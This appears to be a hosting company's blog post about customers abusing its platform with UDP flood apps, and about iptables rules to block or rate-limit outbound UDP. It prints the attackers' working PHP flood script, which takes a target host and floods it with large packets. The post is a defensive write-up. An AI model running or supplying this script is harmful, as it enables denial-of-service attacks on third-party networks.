Recently, at AppFog, we encountered a series of abusive users attempting to cause havoc by flooding UDP.
Some basic iptables
settings can prevent this kind of thing from happening.
The Attacker
Here's an example of the kinds of apps that were being used. This simple PHP app floods random UDP ports with very large packets continuously. This can degrade or cause failure for an entire subnet.
TRUE);
set_time_limit(0);
if(!isset($_GET['h']))
exit('Hello World');
$lol = gethostbyname($_GET['h']);
$out = 'v';
for($i=0;$i<65535;$i++) $out .= 'X';
$dt = 10;
if(isset($_GET['t']))
$dt = (int)$_GET['t'];
if(isset($_GET['type']))
{
if($_GET['type'] == 'tcp')
{
$posttype = 'tcp://';
}
else
{
$posttype = 'udp://';
}
}
else
{
$posttype = 'udp://';
}
$ti = time();
$mt = $ti + $dt;
while(time() < $mt){
if(isset($_GET['p']))
$port = $_GET['p'];
else $port = rand(1,65000);
$sock = fsockopen($posttype.$lol, $port, $errno, $errstr, 1);
if($sock){
++$p;
$fwriteFile = fwrite($sock, $out);
fclose($sock);
}
}
$ps = round(($p*65536)/1024/1024, 3);
$dt = time() - $ti;
echo "$lol flooded with $p packets. $ps MB sent over $dt seconds. ( ".round($ps / $dt, 3)." MB/s ) $fwriteFile";
ignore_user_abort(
The Solution
Generally speaking, there's no need to allow UDP traffic other than DNS.
All non-essential UDP traffic can be completely blocked with the following settings:
# allow dns requests to google nameservers
iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -d 8.8.4.4 -j ACCEPT
# block all other udp
iptables -A OUTPUT -p udp -j DROP
ip6tables -A OUTPUT -p udp -j DROP
Gist: https://gist.github.com/thoward/24b0102355331dd6dd3b
Alternatively, rate limiting can be employed as a more tolerant measure:
# Outbound UDP Flood protection in a user defined chain.
iptables -N udp-flood
iptables -A OUTPUT -p udp -j udp-flood
iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN
iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: '
iptables -A udp-flood -j DROP
Gist: https://gist.github.com/thoward/6180165
Note: You'll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!